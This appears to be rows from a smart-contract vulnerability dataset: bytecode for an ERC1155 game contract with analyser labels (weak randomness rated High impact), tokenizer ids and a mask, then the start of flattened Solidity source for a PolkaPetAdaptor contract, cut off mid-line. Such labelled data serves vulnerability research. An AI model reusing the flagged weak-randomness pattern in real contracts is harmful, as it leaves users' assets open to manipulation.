60e51b8152600401610572906136f5565b600f546000908152600b602090815260408083208484528252808320805460ff19166001908117909155815192830190915291815261062c91339160029190611e22565b60105462010000900460ff1681565b610edf611e0b565b6001600160a01b0316856001600160a01b03161480610f055750610f058561050c611e0b565b610f215760405162461bcd60e51b815260040161057290613616565b610f2e8585858585611f11565b5050505050565b610f3d611e0b565b6001600160a01b0316610f4e611a35565b6001600160a01b031614610f745760405162461bcd60e51b815260040161057290613747565b600780546001600160a01b0319166001600160a01b0392909216919091179055565b60105460ff1681565b6000600854821015610fb35750600161059e565b600083815260196020526040812054819081908190819060ff161561109d57610fdc60026118ba565b945084871115611074576064600f54610ff59190613ab3565b601054600f5491945062010000900460ff169061101490606490613b75565b61101e9190613a76565b915061102b600c83613b75565b156110405761103b600c83613b75565b611043565b600c5b61104e600d84613ab3565b6110589085613a76565b611063906064613ae9565b61106d9190613a76565b935061107a565b600f5493505b506000838152600b602090815260408083208a845290915290205460ff16611411565b6000888152601a602052604090205460ff16806110c857506000888152601b602052604090205460ff165b806110e157506000888152601c602052604090205460ff165b806110fa57506000888152601d602052604090205460ff165b1561128d5761110960016118ba565b9450848711156111a0576064600e546111229190613ab3565b601054600e54919450610100900460ff169061114090606490613b75565b61114a9190613a76565b9150611157600c83613b75565b1561116c57611167600c83613b75565b61116f565b600c5b61117a600d84613ab3565b6111849085613a76565b61118f906064613ae9565b6111999190613a76565b93506111a6565b600e5493505b83620315db14156111d457506000838152600a602090815260408083208a845290915290205460ff16611288565b6013546004805460405163209ca49f60e11b81526001600160a01b0390911691634139493e91611206918d91016139b1565b60206040518083038186803b15801561121e57600080fd5b505afa158015611232573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112569190613179565b6112609089613b08565b108061128557506000848152600a602090815260408083208b845290915290205460ff165b90505b611411565b61129760006118ba565b945084871115611329576064600d546112b09190613ab3565b601054600d5491945060ff16906112c990606490613b75565b6112d39190613a76565b91506112e0600c83613b75565b156112f5576112f0600c83613b75565b6112f8565b600c5b611303600d84613ab3565b61130d9085613a76565b611318906064613ae9565b6113229190613a76565b935061132f565b600d5493505b83620315db141561135d575060008381526009602090815260408083208a845290915290205460ff16611411565b6012546004805460405163209ca49f60e11b81526001600160a01b0390911691634139493e9161138f918d91016139b1565b60206040518083038186803b1580156113a757600080fd5b505afa1580156113bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113df9190613179565b6113e99089613b08565b108061140e575060008481526009602090815260408083208b845290915290205460ff165b90505b979650505050505050565b60135481565b6000818152601d602052604090205460ff166114505760405162461bcd60e51b815260040161057290613584565b611459816120e2565b61062c336000600160405180602001604052806000815250611e22565b61147e611e0b565b6001600160a01b031661148f611a35565b6001600160a01b0316146114b55760405162461bcd60e51b815260040161057290613747565b601355565b606081518351146114dd5760405162461bcd60e51b8152600401610572906138b1565b6000835167ffffffffffffffff81111561150757634e487b7160e01b600052604160045260246000fd5b604051908082528060200260200182016040528015611530578160200160208202803683370190505b50905060005b84518110156115d25761159785828151811061156257634e487b7160e01b600052603260045260246000fd5b602002602001015185838151811061158a57634e487b7160e01b600052603260045260246000fd5b602002602001015161054a565b8282815181106115b757634e487b7160e01b600052603260045260246000fd5b60209081029190910101526115cb81613b5a565b9050611536565b509392505050565b6000806115e683611ab6565b1192915050565b6000818152601b602052604090205460ff1661161b5760405162461bcd60e51b8152600401610572906137a2565b611624816120e2565b61062c336002600160405180602001604052806000815250611e22565b611649611e0b565b6001600160a01b0316836001600160a01b0316148061166f575061166f8361050c611e0b565b8061169457506006546001600160a01b0316611689611e0b565b6001600160a01b0316145b806116b957506007546001600160a01b03166116ae611e0b565b6001600160a01b0316145b6116d55760405162461bcd60e51b8152600401610572906137c9565b610ca3838383612370565b604080516003808252608082019092526000916020820160608036833701905050905060008160008151811061172657634e487b7160e01b600052603260045260246000fd5b60200260200101818152505060018160018151811061175557634e487b7160e01b600052603260045260246000fd5b60200260200101818152505060028160028151811061178457634e487b7160e01b600052603260045260246000fd5b6020908102919091010152604080516003808252608082019092526000918160200160208202803683370190505090506001816000815181106117d757634e487b7160e01b600052603260045260246000fd5b60200260200101818152505060018160018151811061180657634e487b7160e01b600052603260045260246000fd5b60200260200101818152505060018160028151811061183557634e487b7160e01b600052603260045260246000fd5b60200260200101818152505061184c338383612370565b610ca5336003600160405180602001604052806000815250611e22565b60125481565b611877611e0b565b6001600160a01b0316611888611a35565b6001600160a01b0316146118ae5760405162461bcd60e51b815260040161057290613747565b6118b86000612521565b565b600080808060ff85166118d05750600d546118ea565b8460ff16600114156118e55750600e546118ea565b50600f545b6118f5606482613ab3565b9250611902606482613b75565b915060ff85166119235760105461191c9060ff1683613a8e565b915061195d565b8460ff16600114156119445760105461191c90610100900460ff1683613a8e565b60105461195a9062010000900460ff1683613a8e565b91505b611968600d83613ac7565b6119759060ff1684613a50565b9250611982600c83613b89565b60ff161561199a57611995600c83613b89565b61199d565b600c5b6005546011546040516362ba968760e01b81529294506001600160a01b03909116916362ba9687916119dc918791879160019190600090600401613983565b60206040518083038186803b1580156119f457600080fd5b505afa158015611a08573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a2c9190613179565b95945050505050565b6003546001600160a01b03165b90565b600e5481565b610ca5611a56611e0b565b8383612573565b6000818152601c602052604090205460ff16611a8b5760405162461bcd60e51b8152600401610572906134d0565b611a94816120e2565b61062c3360018060405180602001604052806000815250611e22565b600f5481565b6000908152600c602052604090205490565b611ad0611e0b565b6001600160a01b0316611ae1611a35565b6001600160a01b031614611b075760405162461bcd60e51b815260040161057290613747565b60018160ff1610158015611b1f5750600c8160ff1611155b611b3b5760405162461bcd60e51b815260040161057290613847565b6010805460ff9092166101000261ff0019909216919091179055565b6000818152601a602052604090205460ff1661161b5760405162461bcd60e51b81526004016105729061377c565b611b8d611e0b565b6001600160a01b0316611b9e611a35565b6001600160a01b031614611bc45760405162461bcd60e51b815260040161057290613747565b60018160ff1610158015611bdc5750600c8160ff1611155b611bf85760405162461bcd60e51b815260040161057290613847565b6010805460ff909216620100000262ff000019909216919091179055565b60085481565b611c24611e0b565b6001600160a01b0316611c35611a35565b6001600160a01b031614611c5b5760405162461bcd60e51b815260040161057290613747565b601255565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205460ff1690565b611c96611e0b565b6001600160a01b0316856001600160a01b03161480611cbc5750611cbc8561050c611e0b565b611cd85760405162461bcd60e51b81526004016105729061353b565b610f2e8585858585612616565b611ced611e0b565b6001600160a01b0316611cfe611a35565b6001600160a01b031614611d245760405162461bcd60e51b815260040161057290613747565b6001600160a01b038116611d4a5760405162461bcd60e51b815260040161057290613466565b61062c81612521565b611d5b611e0b565b6001600160a01b0316836001600160a01b03161480611d815750611d818361050c611e0b565b80611da657506006546001600160a01b0316611d9b611e0b565b6001600160a01b0316145b80611dcb57506007546001600160a01b0316611dc0611e0b565b6001600160a01b0316145b611de75760405162461bcd60e51b8152600401610572906137c9565b610ca383838361274a565b6001600160e01b031981166301ffc9a760e01b14919050565b3390565b8051610ca5906002906020840190612c14565b6001600160a01b038416611e485760405162461bcd60e51b815260040161057290613942565b6000611e52611e0b565b9050611e7381600087611e6488612859565b611e6d88612859565b876128b2565b6000848152602081815260408083206001600160a01b038916845290915281208054859290611ea3908490613a76565b92505081905550846001600160a01b031660006001600160a01b0316826001600160a01b03167fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f628787604051611efa9291906139ba565b60405180910390a4610f2e81600087878787612a04565b8151835114611f325760405162461bcd60e51b8152600401610572906138fa565b6001600160a01b038416611f585760405162461bcd60e51b8152600401610572906135d1565b6000611f62611e0b565b9050611f728187878787876128b2565b60005b8451811015612074576000858281518110611fa057634e487b7160e01b600052603260045260246000fd5b602002602001015190506000858381518110611fcc57634e487b7160e01b600052603260045260246000fd5b602090810291909101810151600084815280835260408082206001600160a01b038e16835290935291909120549091508181101561201c5760405162461bcd60e51b8152600401610572906136ab565b6000838152602081815260408083206001600160a01b038e8116855292528083208585039055908b16825281208054849290612059908490613a76565b925050819055505050508061206d90613b5a565b9050611f75565b50846001600160a01b0316866001600160a01b0316826001600160a01b03167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb87876040516120c4929190613317565b60405180910390a46120da818787878787612b12565b505050505050565b6008544210156121045760405162461bcd60e51b8152600401610572906133f6565b600480546040516331a9108f60e11b815233926001600160a01b0390921691636352211e91612135918691016139b1565b60206040518083038186803b15801561214d57600080fd5b505afa158015612161573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121859190612db3565b6001600160a01b0316146121ab5760405162461bcd60e51b815260040161057290613824565b6121b560016118ba565b4211156122525760006064600e546121cd9190613ab3565b90506000601060019054906101000a900460ff1660ff166064600e546121f39190613b75565b6121fd9190613a76565b905061220a600c82613b75565b1561221f5761221a600c82613b75565b612222565b600c5b61222d600d83613ab3565b6122379084613a76565b612242906064613ae9565b61224c9190613a76565b600e5550505b600e54620315db14806122ef57506013546004805460405163209ca49f60e11b81526001600160a01b0390911691634139493e91612292918691016139b1565b60206040518083038186803b1580156122aa57600080fd5b505afa1580156122be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122e29190613179565b6122ec9042613b08565b10155b61230b5760405162461bcd60e51b81526004016105729061371e565b600e546000908152600a6020908152604080832084845290915290205460ff16156123485760405162461bcd60e51b8152600401610572906136f5565b600e546000908152600a6020908152604080832093835292905220805460ff19166001179055565b6001600160a01b0383166123965760405162461bcd60e51b815260040161057290613668565b80518251146123b75760405162461bcd60e51b8152600401610572906138fa565b60006123c1611e0b565b90506123e1818560008686604051806020016040528060008152506128b2565b60005b83518110156124c257600084828151811061240f57634e487b7160e01b600052603260045260246000fd5b60200260200101519050600084838151811061243b57634e487b7160e01b600052603260045260246000fd5b602090810291909101810151600084815280835260408082206001600160a01b038c16835290935291909120549091508181101561248b5760405162461bcd60e51b8152600401610572906134f7565b6000928352602083815260408085206001600160a01b038b16865290915290922091039055806124ba81613b5a565b9150506123e4565b5060006001600160a01b0316846001600160a01b0316826001600160a01b03167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb8686604051612513929190613317565b60405180910390a450505050565b600380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b816001600160a01b0316836001600160a01b031614156125a55760405162461bcd60e51b815260040161057290613868565b6001600160a01b0383811660008181526001602090815260408083209487168084529490915290819020805460ff1916851515179055517f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c319061260990859061333c565b60405180910390a3505050565b6001600160a01b03841661263c5760405162461bcd60e51b8152600401610572906135d1565b6000612646611e0b565b9050612657818787611e6488612859565b6000848152602081815260408083206001600160a01b038a168452909152902054838110156126985760405162461bcd60e51b8152600401610572906136ab565b6000858152602081815260408083206001600160a01b038b81168552925280832087850390559088168252812080548692906126d5908490613a76565b92505081905550856001600160a01b0316876001600160a01b0316836001600160a01b03167fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62888860405161272b9291906139ba565b60405180910390a4612741828888888888612a04565b50505050505050565b6001600160a01b0383166127705760405162461bcd60e51b815260040161057290613668565b600061277a611e0b565b90506127aa8185600061278c87612859565b61279587612859565b604051806020016040528060008152506128b2565b6000838152602081815260408083206001600160a01b0388168452909152902054828110156127eb5760405162461bcd60e51b8152600401610572906134f7565b6000848152602081815260408083206001600160a01b03808a16808652919093528184208786039055905190918516907fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f629061284a90899089906139ba565b60405180910390a45050505050565b604080516001808252818301909252606091600091906020808301908036833701905050905082816000815181106128a157634e487b7160e01b600052603260045260246000fd5b602090810291909101015292915050565b6128c08686868686866120da565b6001600160a01b0385166129635760005b8351811015612961578281815181106128fa57634e487b7160e01b600052603260045260246000fd5b6020026020010151600c600086848151811061292657634e487b7160e01b600052603260045260246000fd5b60200260200101518152602001908152602001600020600082825461294b9190613a76565b9091555061295a905081613b5a565b90506128d1565b505b6001600160a01b0384166120da5760005b83518110156127415782818151811061299d57634e487b7160e01b600052603260045260246000fd5b6020026020010151600c60008684815181106129c957634e487b7160e01b600052603260045260246000fd5b6020026020010151815260200190815260200160002060008282546129ee9190613b08565b909155506129fd905081613b5a565b9050612974565b612a16846001600160a01b0316612be3565b156120da5760405163f23a6e6160e01b81526001600160a01b0385169063f23a6e6190612a4f90899089908890889088906004016132ca565b602060405180830381600087803b158015612a6957600080fd5b505af1925050508015612a99575060408051601f3d908101601f19168201909252612a96918101906130f7565b60015b612ae257612aa5613bf3565b80612ab05750612aca565b8060405162461bcd60e51b81526004016105729190613347565b60405162461bcd60e51b81526004016105729061335a565b6001600160e01b0319811663f23a6e6160e01b146127415760405162461bcd60e51b8152600401610572906133ae565b612b24846001600160a01b0316612be3565b156120da5760405163bc197c8160e01b81526001600160a01b0385169063bc197c8190612b5d908990899088908890889060040161326c565b602060405180830381600087803b158015612b7757600080fd5b505af1925050508015612ba7575060408051601f3d908101601f19168201909252612ba4918101906130f7565b60015b612bb357612aa5613bf3565b6001600160e01b0319811663bc197c8160e01b146127415760405162461bcd60e51b8152600401610572906133ae565b600080826001600160a01b0316803b806020016040519081016040528181526000908060200190933c511192915050565b828054612c2090613b1f565b90600052602060002090601f016020900481019282612c425760008555612c88565b82601f10612c5b57805160ff1916838001178555612c88565b82800160010185558215612c88579182015b82811115612c88578251825591602001919060010190612c6d565b50612c94929150612c98565b5090565b5b80821115612c945760008155600101612c99565b600067ffffffffffffffff831115612cc757612cc7613bd7565b612cda601f8401601f1916602001613a02565b9050828152838383011115612cee57600080fd5b828260208301376000602084830101529392505050565b600082601f830112612d15578081fd5b81356020612d2a612d2583613a2c565b613a02565b8281528181019085830183850287018401881015612d46578586fd5b855b85811015612d6457813584529284019290840190600101612d48565b5090979650505050505050565b600082601f830112612d81578081fd5b612d9083833560208501612cad565b9392505050565b600060208284031215612da8578081fd5b8135612d9081613c98565b600060208284031215612dc4578081fd5b8151612d9081613c98565b60008060408385031215612de1578081fd5b8235612dec81613c98565b91506020830135612dfc81613c98565b809150509250929050565b600080600080600060a08688031215612e1e578081fd5b8535612e2981613c98565b94506020860135612e3981613c98565b9350604086013567ffffffffffffffff80821115612e55578283fd5b612e6189838a01612d05565b94506060880135915080821115612e76578283fd5b612e8289838a01612d05565b93506080880135915080821115612e97578283fd5b50612ea488828901612d71565b9150509295509295909350565b600080600080600060a08688031215612ec8578081fd5b8535612ed381613c98565b94506020860135612ee381613c98565b93506040860135925060608601359150608086013567ffffffffffffffff811115612f0c578182fd5b612ea488828901612d71565b600080600060608486031215612f2c578283fd5b8335612f3781613c98565b9250602084013567ffffffffffffffff80821115612f53578384fd5b612f5f87838801612d05565b93506040860135915080821115612f74578283fd5b50612f8186828701612d05565b9150509250925092565b60008060408385031215612f9d578081fd5b8235612fa881613c98565b915060208301358015158114612dfc578182fd5b60008060408385031215612fce578182fd5b8235612fd981613c98565b946020939093013593505050565b600080600060608486031215612ffb578081fd5b833561300681613c98565b95602085013595506040909401359392505050565b6000806040838503121561302d578182fd5b823567ffffffffffffffff80821115613044578384fd5b818501915085601f830112613057578384fd5b81356020613067612d2583613a2c565b82815281810190858301838502870184018b1015613083578889fd5b8896505b848710156130ae57803561309a81613c98565b835260019690960195918301918301613087565b50965050860135925050808211156130c4578283fd5b506130d185828601612d05565b9150509250929050565b6000602082840312156130ec578081fd5b8135612d9081613cad565b600060208284031215613108578081fd5b8151612d9081613cad565b600060208284031215613124578081fd5b813567ffffffffffffffff81111561313a578182fd5b8201601f8101841361314a578182fd5b61315984823560208401612cad565b949350505050565b600060208284031215613172578081fd5b5035919050565b60006020828403121561318a578081fd5b5051919050565b600080604083850312156131a3578182fd5b50508035926020909101359150565b6000602082840312156131c3578081fd5b813560ff81168114612d90578182fd5b6000815180845260208085019450808401835b83811015613202578151875295820195908201906001016131e6565b509495945050505050565b60008151808452815b8181101561323257602081850181015186830182015201613216565b818111156132435782602083870101525b50601f01601f19169290920160200192915050565b6001600160a01b0391909116815260200190565b6001600160a01b0386811682528516602082015260a060408201819052600090613298908301866131d3565b82810360608401526132aa81866131d3565b905082810360808401526132be818561320d565b98975050505050505050565b6001600160a01b03868116825285166020820152604081018490526060810183905260a0608082018190526000906114119083018461320d565b600060208252612d9060208301846131d3565b60006040825261332a60408301856131d3565b8281036020840152611a2c81856131d3565b901515815260200190565b600060208252612d90602083018461320d565b60208082526034908201527f455243313135353a207472616e7366657220746f206e6f6e20455243313135356040820152732932b1b2b4bb32b91034b6b83632b6b2b73a32b960611b606082015260800190565b60208082526028908201527f455243313135353a204552433131353552656365697665722072656a656374656040820152676420746f6b656e7360c01b606082015260800190565b6020808252600b908201526a139bdd081cdd185c9d195960aa1b604082015260600190565b6020808252602b908201527f455243313135353a2062616c616e636520717565727920666f7220746865207a60408201526a65726f206164647265737360a81b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b6020808252600a9082015269139bdd08139bdc9b585b60b21b604082015260600190565b6020808252600d908201526c2737ba1021b430b91021b7b4b960991b604082015260600190565b60208082526024908201527f455243313135353a206275726e20616d6f756e7420657863656564732062616c604082015263616e636560e01b606082015260800190565b60208082526029908201527f455243313135353a2063616c6c6572206973206e6f74206f776e6572206e6f7260408201526808185c1c1c9bdd995960ba1b606082015260800190565b6020808252600d908201526c4e6f74205665672b426c6f6f6d60981b604082015260600190565b6020808252600c908201526b4e6f7420506c6174696e756d60a01b604082015260600190565b60208082526025908201527f455243313135353a207472616e7366657220746f20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526032908201527f455243313135353a207472616e736665722063616c6c6572206973206e6f74206040820152711bdddb995c881b9bdc88185c1c1c9bdd995960721b606082015260800190565b60208082526023908201527f455243313135353a206275726e2066726f6d20746865207a65726f206164647260408201526265737360e81b606082015260800190565b6020808252602a908201527f455243313135353a20696e73756666696369656e742062616c616e636520666f60408201526939103a3930b739b332b960b11b606082015260800190565b6020808252600f908201526e105b1c9958591e4818db185a5b5959608a1b604082015260600190565b6020808252600f908201526e09cdee840d0dec8d840cadcdeeaced608b1b604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600c908201526b2737ba102d35b4ba3a3632bd60a11b604082015260600190565b6020808252600d908201526c2737ba102a32b938102437b3bd60991b604082015260600190565b6020808252601f908201527f455243313135353a206e6f74206f776e6572206e6f7220617070726f76656400604082015260600190565b6020808252600a90820152692737ba1037bbb732b91760b11b604082015260600190565b6020808252600990820152682737ba1037bbb732b960b91b604082015260600190565b602080825260079082015266125b9d985b1a5960ca1b604082015260600190565b60208082526029908201527f455243313135353a2073657474696e6720617070726f76616c20737461747573604082015268103337b91039b2b63360b91b606082015260800190565b60208082526029908201527f455243313135353a206163636f756e747320616e6420696473206c656e677468604082015268040dad2e6dac2e8c6d60bb1b606082015260800190565b60208082526028908201527f455243313135353a2069647320616e6420616d6f756e7473206c656e677468206040820152670dad2e6dac2e8c6d60c31b606082015260800190565b60208082526021908201527f455243313135353a206d696e7420746f20746865207a65726f206164647265736040820152607360f81b606082015260800190565b61ffff95909516855260ff938416602086015291831660408501528216606084015216608082015260a00190565b90815260200190565b918252602082015260400190565b94855260208501939093526001600160a01b039190911660408401526060830152608082015260a00190565b60ff91909116815260200190565b60405181810167ffffffffffffffff81118282101715613a2457613a24613bd7565b604052919050565b600067ffffffffffffffff821115613a4657613a46613bd7565b5060209081020190565b600061ffff808316818516808303821115613a6d57613a6d613bab565b01949350505050565b60008219821115613a8957613a89613bab565b500190565b600060ff821660ff84168060ff03821115613aab57613aab613bab565b019392505050565b600082613ac257613ac2613bc1565b500490565b600060ff831680613ada57613ada613bc1565b8060ff84160491505092915050565b6000816000190483118215151615613b0357613b03613bab565b500290565b600082821015613b1a57613b1a613bab565b500390565b600281046001821680613b3357607f821691505b60208210811415613b5457634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415613b6e57613b6e613bab565b5060010190565b600082613b8457613b84613bc1565b500690565b600060ff831680613b9c57613b9c613bc1565b8060ff84160691505092915050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b60e01c90565b600060443d1015613c0357611a42565b600481823e6308c379a0613c178251613bed565b14613c2157611a42565b6040513d600319016004823e80513d67ffffffffffffffff8160248401118184111715613c515750505050611a42565b82840192508251915080821115613c6b5750505050611a42565b503d83016020828401011115613c8357505050611a42565b601f01601f1916810160200160405291505090565b6001600160a01b038116811461062c57600080fd5b6001600160e01b03198116811461062c57600080fdfea26469706673582212208b55910c8c8c3f735f46c41b3fdbac49d04d7e8786047f349a2cd9e1ae01631364736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'weak-prng', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 16932, 2050, 22025, 2692, 2549, 2546, 21472, 2497, 2692, 2497, 2692, 12879, 2497, 16048, 2629, 2050, 2475, 2063, 22610, 2497, 2509, 2546, 2487, 2050, 19841, 18827, 11057, 2278, 2629, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 6123, 1012, 14017, 1013, 1013, 2330, 4371, 27877, 2378, 8311, 1058, 2549, 1012, 1018, 1012, 1015, 1006, 21183, 12146, 1013, 6123, 1012, 14017, 1007, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3640, 2592, 2055, 1996, 2783, 7781, 6123, 1010, 2164, 1996, 1008, 4604, 2121, 1997, 1996, 12598, 1998, 2049, 2951, 1012, 2096, 2122, 2024, 3227, 2800, 1008, 3081, 5796, 2290, 1012, 4604, 2121, 1998, 5796, 2290, 1012, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,623
0x9714bcdbb4cbb032d7d72ef1d11c897f6d777195
// hevm: flattened sources of contracts/PolkaPetAdaptor.sol pragma solidity >=0.4.24 <0.5.0; ////// contracts/interfaces/IAuthority.sol /* pragma solidity ^0.4.24; */ contract IAuthority { function canCall( address src, address dst, bytes4 sig ) public view returns (bool); } ////// contracts/DSAuth.sol /* pragma solidity ^0.4.24; */ /* import './interfaces/IAuthority.sol'; */ contract DSAuthEvents { event LogSetAuthority (address indexed authority); event LogSetOwner (address indexed owner); } /** * @title DSAuth * @dev The DSAuth contract is reference implement of https://github.com/dapphub/ds-auth * But in the isAuthorized method, the src from address(this) is remove for safty concern. */ contract DSAuth is DSAuthEvents { IAuthority public authority; address public owner; constructor() public { owner = msg.sender; emit LogSetOwner(msg.sender); } function setOwner(address owner_) public auth { owner = owner_; emit LogSetOwner(owner); } function setAuthority(IAuthority authority_) public auth { authority = authority_; emit LogSetAuthority(authority); } modifier auth { require(isAuthorized(msg.sender, msg.sig), "ds-auth-unauthorized"); _; } modifier onlyOwner() { require(msg.sender == owner); _; } function isAuthorized(address src, bytes4 sig) internal view returns (bool) { if (src == owner) { return true; } else if (authority == IAuthority(0)) { return false; } else { return authority.canCall(src, this, sig); } } } ////// contracts/PausableDSAuth.sol /* pragma solidity ^0.4.24; */ /* import "./DSAuth.sol"; */ /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract PausableDSAuth is DSAuth { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } } ////// contracts/SettingIds.sol /* pragma solidity ^0.4.24; */ /** Id definitions for SettingsRegistry.sol Can be used in conjunction with the settings registry to get properties */ contract SettingIds { // 0x434f4e54524143545f52494e475f45524332305f544f4b454e00000000000000 bytes32 public constant CONTRACT_RING_ERC20_TOKEN = "CONTRACT_RING_ERC20_TOKEN"; // 0x434f4e54524143545f4b544f4e5f45524332305f544f4b454e00000000000000 bytes32 public constant CONTRACT_KTON_ERC20_TOKEN = "CONTRACT_KTON_ERC20_TOKEN"; // 0x434f4e54524143545f474f4c445f45524332305f544f4b454e00000000000000 bytes32 public constant CONTRACT_GOLD_ERC20_TOKEN = "CONTRACT_GOLD_ERC20_TOKEN"; // 0x434f4e54524143545f574f4f445f45524332305f544f4b454e00000000000000 bytes32 public constant CONTRACT_WOOD_ERC20_TOKEN = "CONTRACT_WOOD_ERC20_TOKEN"; // 0x434f4e54524143545f57415445525f45524332305f544f4b454e000000000000 bytes32 public constant CONTRACT_WATER_ERC20_TOKEN = "CONTRACT_WATER_ERC20_TOKEN"; // 0x434f4e54524143545f464952455f45524332305f544f4b454e00000000000000 bytes32 public constant CONTRACT_FIRE_ERC20_TOKEN = "CONTRACT_FIRE_ERC20_TOKEN"; // 0x434f4e54524143545f534f494c5f45524332305f544f4b454e00000000000000 bytes32 public constant CONTRACT_SOIL_ERC20_TOKEN = "CONTRACT_SOIL_ERC20_TOKEN"; // 0x434f4e54524143545f4f424a4543545f4f574e45525348495000000000000000 bytes32 public constant CONTRACT_OBJECT_OWNERSHIP = "CONTRACT_OBJECT_OWNERSHIP"; // 0x434f4e54524143545f544f4b454e5f4c4f434154494f4e000000000000000000 bytes32 public constant CONTRACT_TOKEN_LOCATION = "CONTRACT_TOKEN_LOCATION"; // 0x434f4e54524143545f4c414e445f424153450000000000000000000000000000 bytes32 public constant CONTRACT_LAND_BASE = "CONTRACT_LAND_BASE"; // 0x434f4e54524143545f555345525f504f494e5453000000000000000000000000 bytes32 public constant CONTRACT_USER_POINTS = "CONTRACT_USER_POINTS"; // 0x434f4e54524143545f494e5445525354454c4c41525f454e434f444552000000 bytes32 public constant CONTRACT_INTERSTELLAR_ENCODER = "CONTRACT_INTERSTELLAR_ENCODER"; // 0x434f4e54524143545f4449564944454e44535f504f4f4c000000000000000000 bytes32 public constant CONTRACT_DIVIDENDS_POOL = "CONTRACT_DIVIDENDS_POOL"; // 0x434f4e54524143545f544f4b454e5f5553450000000000000000000000000000 bytes32 public constant CONTRACT_TOKEN_USE = "CONTRACT_TOKEN_USE"; // 0x434f4e54524143545f524556454e55455f504f4f4c0000000000000000000000 bytes32 public constant CONTRACT_REVENUE_POOL = "CONTRACT_REVENUE_POOL"; // 0x434f4e54524143545f4252494447455f504f4f4c000000000000000000000000 bytes32 public constant CONTRACT_BRIDGE_POOL = "CONTRACT_BRIDGE_POOL"; // 0x434f4e54524143545f4552433732315f42524944474500000000000000000000 bytes32 public constant CONTRACT_ERC721_BRIDGE = "CONTRACT_ERC721_BRIDGE"; // 0x434f4e54524143545f5045545f42415345000000000000000000000000000000 bytes32 public constant CONTRACT_PET_BASE = "CONTRACT_PET_BASE"; // Cut owner takes on each auction, measured in basis points (1/100 of a percent). // this can be considered as transaction fee. // Values 0-10,000 map to 0%-100% // set ownerCut to 4% // ownerCut = 400; // 0x55494e545f41554354494f4e5f43555400000000000000000000000000000000 bytes32 public constant UINT_AUCTION_CUT = "UINT_AUCTION_CUT"; // Denominator is 10000 // 0x55494e545f544f4b454e5f4f464645525f435554000000000000000000000000 bytes32 public constant UINT_TOKEN_OFFER_CUT = "UINT_TOKEN_OFFER_CUT"; // Denominator is 10000 // Cut referer takes on each auction, measured in basis points (1/100 of a percent). // which cut from transaction fee. // Values 0-10,000 map to 0%-100% // set refererCut to 4% // refererCut = 400; // 0x55494e545f524546455245525f43555400000000000000000000000000000000 bytes32 public constant UINT_REFERER_CUT = "UINT_REFERER_CUT"; // 0x55494e545f4252494447455f4645450000000000000000000000000000000000 bytes32 public constant UINT_BRIDGE_FEE = "UINT_BRIDGE_FEE"; // 0x434f4e54524143545f4c414e445f5245534f5552434500000000000000000000 bytes32 public constant CONTRACT_LAND_RESOURCE = "CONTRACT_LAND_RESOURCE"; } ////// contracts/interfaces/IInterstellarEncoderV3.sol /* pragma solidity ^0.4.24; */ contract IInterstellarEncoderV3 { uint256 constant CLEAR_HIGH = 0x00000000000000000000000000000000ffffffffffffffffffffffffffffffff; uint256 public constant MAGIC_NUMBER = 42; // Interstellar Encoding Magic Number. uint256 public constant CHAIN_ID = 1; // Ethereum mainet. uint256 public constant 